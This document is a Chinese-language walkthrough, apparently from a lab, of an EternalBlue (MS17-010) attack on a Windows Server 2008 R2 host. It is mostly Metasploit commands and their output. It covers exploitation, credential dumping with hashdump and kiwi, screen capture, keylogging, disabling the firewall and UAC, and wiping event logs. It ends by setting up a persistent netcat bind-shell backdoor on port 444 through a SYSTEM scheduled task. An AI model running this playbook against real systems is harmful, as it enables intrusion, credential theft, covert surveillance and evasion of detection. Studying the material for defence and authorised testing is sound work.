漏洞原因
永恒之蓝利用了SMBv1的一个缺陷。SMB(Server Message Block)是一种在Windows环境中广泛使用的网络文件共享协议。这个漏洞允许未经授权的攻击者通过网络发送特制的数据包到目标系统,从而远程执行恶意代码
openvas漏洞扫描结果
使用msf进行漏洞验证
进入msf控制台
进入msf控制台(不显示提示内容)
msfconsole -q
查找漏洞脚本
搜索ms17-010漏洞脚本
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
选择辅助模块下的scanner扫描模块下的smb服务下的smb_ms17_010漏洞利用脚本
进行漏洞验证
msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+]192.168.10.129:445 - Host is likely VULNERABLE[脆弱的] to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*]192.168.10.129:445 - Scanned 1 of 1 hosts (100% complete)
[*]Auxiliary module execution completed
漏洞利用
使用漏洞利用模块下的windows模块下的smb服务下的ms17-010_eternalblue永恒之蓝漏洞脚本
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.10.129
rhost => 192.168.10.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Meterpreter session 1 opened (192.168.10.224:4444 -> 192.168.10.129:49162) at 2024-04-05 07:34:17 +0800
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.10.129:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter[载荷] >
成功入侵目标并开启会话
192.168.10.224:4444 -> 192.168.10.129:49162
后渗透
获取目标主机用户凭证
获取目标密文密码
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:531b3ca954d0e442e64a5815b6794c32:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
kiwi模块获取明文密码
1.加载kiwi模块
meterpreter > load kiwi
2.获取所有系统凭证包含明文密码
meterpreter > creds_all
对目标主机屏幕截图及监控
截取目标屏幕
meterpreter > screenshot
Screenshot saved to: /root/wZgTwEDm.jpeg
监控屏幕
meterpreter > screenshare
将当前进程进行迁移
meterpreter > ps -S explorer.exe [查看指定进程]
Filtering on 'explorer.exe'[系统管理员用户进程]:持久性较好
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
3060 2928 explorer.e x64 1 WIN-5MQI51VLCDC\ C:\Windows\Explor
xe Administrator er.EXE
meterpreter > migrate 3060 [迁移到指定进程]
[*] Migrating from 1116 to 3060...
[*] Migration completed successfully.
meterpreter > getuid [确认迁移结果]
Server username: WIN-5MQI51VLCDC\Administrator
对目标主机进行键盘记录
执行后渗透模块下的windows模块下的捕获模块下的键盘记录器脚本
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against WIN-5MQI51VLCDC
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20240405075518_default_192.168.10.129_host.windows.key_148128.txt
[记录文件路径]
[*] Recording keystrokes...
更改目标主机防火墙配置指定开启TCP444端口
meterpreter > shell [通过Meterpreter获得了shell访问权限]
Process 784 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>chcp 65001 [更改字符集编码:解决乱码]
chcp 65001
Active code page: 65001
C:\Windows\system32> netsh advfirewall set allprofiles state off
通过netsh工具将Windows防火墙的所有配置文件(公共、私有、域)都设置为关闭状态
C:\Windows\system32> netsh advfirewall set allprofiles state on
打开防火墙
C:\Windows\system32> netsh firewall add portopening tcp 444 backdoor enable all
开启TCP协议的444端口,允许所有网络配置文件通过该端口进行通信,规则名称为backdoor
禁用目标主机用户账户控制(UAC)组件
UAC的工作原理
UAC通过限制应用程序访问用户电脑上的重要部分来工作。当一个程序尝试执行可能会对系统安全性或配置产生影响的操作时,UAC会介入,阻止这一操作直至用户给予明确的授权。这意味着即使用户以管理员账户登录,应用程序和任务也会以限制的权限集运行,除非用户明确授权提升权限
禁用用户账户控制(UAC)
C:\Windows\system32>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.
命令解析
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
reg ADD: 这是Windows注册表编辑器命令行工具reg.exe的一个操作,用于添加一个新的注册表键值或更新现有的键值。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System: 指定了注册表项的路径。这里,HKLM(HKEY_LOCAL_MACHINE)是顶级注册表项之一,包含了系统的配置信息。路径指向Windows系统的策略设置部分。
/v EnableLUA: /v参数后面跟随的是要操作的注册表值的名称,在这个例子中是EnableLUA。EnableLUA是控制用户账户控制(UAC)是否启用的注册表值。
/t REG_DWORD: /t参数指定了注册表值的类型,在这里是REG_DWORD,表示数据类型为32位数字。
/d 0: /d参数后面跟随的是要设置的数据值。0表示禁用UAC。
/f: 强制执行命令而不提示用户确认。
退出windows命令行终端并清除日志
C:\Windows\system32>exit
exit
meterpreter > clearev
[*] Wiping 505 records from Application...应用程序(Application)事件日志
[*] Wiping 2026 records from System...系统(System)事件日志
[*] Wiping 1190 records from Security...安全(Security)事件日志
设置持久型后门
简介
防止目标主机修补了漏洞后,无法通过系统漏洞侵入目标主机。植入后门并设置开机自启,攻击者可以通过后门444口远程控制目标主机
nc
称为netcat
,是一个非常强大的网络工具被称为“网络界的瑞士军刀”。主要用于读取和写入网络连接,支持TCP和UDP协议。nc
的功能包括端口扫描、文件传输、网络服务测试、以及作为客户端或服务器在任意端口上监听。
上传后门程序到目标主机指定路径
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
[*] uploading : /usr/share/windows-binaries/nc.exe -> c:\windows\system32
[*] uploaded : /usr/share/windows-binaries/nc.exe -> c:\windows\system32\nc.exe
meterpreter > ls nc.exe
100777/rwxrwxrwx 59392 fil 2024-04-05 09:55:23 +0800 nc.exe
命令分解
upload:这是Meterpreter的一个命令,用于将文件从攻击者的系统上传到被控制系统的指定路径
/usr/share/windows-binaries/nc.exe:这是攻击者系统上的文件路径,指向nc.exe(即Netcat的Windows版本)。Netcat是一个功能强大的网络工具,可以用于监听端口、连接到服务、传输数据等
c:\\windows\\system32:这是目标Windows系统上的路径,其中包含重要的系统文件和程序。将文件上传到这个目录,可以使得上传的文件(在这个例子中是nc.exe)更容易被执行,因为system32目录通常包含在系统的PATH环境变量中。
ls nc.exe:查看文件具体情况
设置计划任务目标系统开启时运行后门程序
meterpreter > shell
Process 2804 created.
Channel 4 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>chcp 65001 //解决乱码
chcp 65001
Active code page: 65001
C:\Windows\system32>schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
SUCCESS: The scheduled task "nc" has successfully been created.
命令解析
schtasks /create /tn "nc" /ru system /tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe" /sc onstart
schtasks:Windows中用来创建、删除、查询或修改系统计划任务的命令行工具。
/create:schtasks命令创建一个新的计划任务。
/tn "nc":/tn参数后面指定的是任务的名称。
/ru system:这个参数指定任务将以何种用户身份运行。在这个例子中,/ru system意味着任务将以系统账户的权限运行,系统账户具有广泛的权限并且可以访问系统上的大多数资源。
/tr "c:\windows\system32\nc.exe -Ldp 444 -e cmd.exe":/tr参数后面跟随的是任务实际执行的命令或程序。这里指定的是执行nc.exe(Netcat),使用-Ldp 444选项在本地监听444端口,并且当连接建立时使用-e cmd.exe选项来执行命令提示符。
/sc onstart:参数定义了任务的调度周期。onstart表示任务会在每次系统启动时运行。
重启靶机进行后门接入
──(root㉿kali)-[~]
└─# nc 192.168.10.129 444 //连接目标主机444端口
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>
C:\Windows\system32>netstat -an \\当前机器上的网络连接和监听端口的清单
netstat -an
�����
Э�� ���ص� �ⲿ�� ״
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:23 0.0.0.0:0 LISTENING
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 192.168.10.129:444 192.168.10.224:37516 ESTABLISHED